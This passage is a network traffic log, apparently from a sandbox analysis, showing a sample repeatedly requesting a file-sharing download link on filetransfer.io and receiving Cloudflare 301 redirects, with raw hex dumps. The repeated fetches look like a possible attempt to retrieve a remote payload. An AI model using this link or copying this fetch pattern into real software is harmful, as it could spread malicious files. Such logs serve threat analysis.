3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:23.488132000 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:23.678563118 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vVIjWrgiTRaLIL888lBQ9pmRwI6AorOeh4hI1I7aecisTMjEWaV7GELyIGtFF2NySeoBtGciuVdifBc5siI9Qg3HsKLAm%2FpmQxx%2Bu1oPeYowGdB3fkBZ9Ad29aM2Aih4hd8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce818d243b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:23.679194927 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:23.869712114 CEST	828	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5A1edItKRlxs5268EhempruxgXmVasIvutdm%2FZ1pucxvHTTaKOsnN%2B4hPyCEdt6931mhkMRZYT7Q5gI%2BlML9UoLMPdSVCIH6zF08n%2BYzvB815Pd4cXRV4nrkg6jIWSjZrzA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce949dc43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:23:24.009885073 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 11:23:24.010384083 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:24.201441050 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cww%2B02ebGuQ5Y4u%2F%2FtKbEVKFDYMD7YZ8T5fiE4QjyETR7cbj7wDunxzLsee6ad2Hkwl5pud6f5heuMBPa14KZ1ytHwlmsmpOBBLDrK5GQirmYS%2F2i7v%2FaB9WXZHAk6u4ziM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ceb5ba443b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:24.203093052 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:24.394898891 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yM7sOpwV0GvaKbkxRZCqLGRXTx5mZyiElHUhP6gxRTnoMlj2OT%2BIoE28KZd4IvbH0pMfXYzMym5t7XgTuWXbwuVBK4IWhkdBs4DLBW9ngkeOVv4%2F0YEnQNPoIAlJSb%2FX5CA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cec8cc943b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:24.396634102 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:24.587753057 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bn6WNQenjTNKD30prBhIYZOSOvvJBtcmOGwIUbrRgK3jbwTn%2F%2BiEYK1sQUSlZ7%2FMVZJ5KSNF9iuMnGT5q8d1KZ8I%2BKz0EN2ES62rYP8iOqbOVKU%2B1DKQSWhRnNVuBwephaQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cedcd7d43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:24.590451956 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:24.780689955 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rXLr0s4NDlXu0IftO8D0YewllYGXkCYfQkwI3NC6NQclNTImeacMgeBWzXOnic%2FSiCzyA51D7GRxAeC1FSEQPH2HKi9dooJSSrxG6btPRC%2B755jExFxCSEEk9UzA3yKg0QI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ceefe3a43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:24.781851053 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:24.972992897 CEST	826	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HzUgwOgOUHZN0wMQ7WfbDml3gmb4tTTVsiC%2BBDReSBJPeyl%2FlnBdwPlBzxH8ovByQeqVSatAPWRZxJOSiJrVKekDY6Ljj1GKckkC%2BpIPdJ66YdRkvHbY9IpvswIRxilGGOk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf02f0a43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:23:25.100436926 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 11:23:25.101429939 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:25.435735941 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2FwM6prlEkTtC5ED3h3FeGzh6MyCxk5GgPRIWLKOCDy6Dq7i53RrdFHX0J5NHEswOa0c%2B02IbjNiUOy8mEeSXhoQFoUs1uaEsv%2FIwUTz8OK3h6%2FuL%2FWeqZmBocI9Xa2lRg4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf2287043b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:25.438297033 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:25.628388882 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vIreETE2KJHPkiTx9jJO8w1UUwEgDe5Oa22zQth2KyPD1ESHqDWjbPVcb04iP61nCdPtYnQ8p6R8IygQfO60bQrBe6upBwmBBPOa%2Btxw8tF1W8ZExjIo1zUrcDvy8ksaVyE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf449c843b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:25.630675077 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:25.822283983 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VlBK833Eeiw1IBXmUA5dLqLsZSrBa17p560g8JETQToCtLbJLdCrSugw6uNVM8PlEWxm2RyVf8mrYUf%2FPKUohP63Tks%2BSpRiwB%2BJxRcYqgMTHbGAMhePLILzBwKGP4d%2FBhw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf57a8b43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:25.822909117 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:26.014022112 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9eZ%2FM1rB6iU2XCHhY5PZPuauscRLy6dgF6Pq43zVl2XIsc6cxT1jWWdjpP70yyjy8AZQjAVCVjSF%2B1dr0Gryb8NoPKHpsOPYGOFaOJvSL2RL2Zd7ylC0C9ZKzzIWVfD0fL8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf6ab7943b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:26.016145945 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:26.208029032 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5nEynynYr%2B8FwfHPqcKqdJLHU5L45TN%2F%2BB1VXNwecHHJkG4ZWFURVPcwWHSrJjSjXoA6gumk01ptygD2gWzQr4GNSJ%2BjrH84orUbhzFVdGDJkFrRCLjLYsyY92OqP%2BIkIco%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf7ec5343b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:26.210103035 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:26.400435925 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d9AwTsj4r0DrRiqY083iz9RbkylSiO643g6j5TjVYaTcczqRW5yiJVsNYq7ToZkxuV%2Fc7TtPgHo%2FROYMkvxj0vBKE90Ywz8kNcsZXKXnPbNRLcwQgfhnJ3h%2FnrLlR4qQr8M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cf91d0243b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:26.402364969 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:26.594324112 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FoKPYn6Or%2FMmZg3T1ToGFitQdkglXjQBl13116%2BxDQ8NnGA3R0FDdK5C3FyroBjbpl%2BdaW%2BAS45jf2nNoznzMk9vF%2Bnc2C1hunjIO27gsAKk22WegqK7qol%2FUdlYlq%2FOEMI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cfa4daa43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:26.595171928 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:26.784076929 CEST	658	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fHyLPM8WhOJDOgvCAZ%2FW2TBlxjEw4%2FbHFFKGdKvGyOGcK8iZD30JLrnaoM75gkyuyJ26fmAnbeIDdUHUdFscaAyCm6xKq41ZWyh4rgKFJxt0NHwzee%2F1OTebzRcX2qfKjho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cfb7ea643b2-EWR
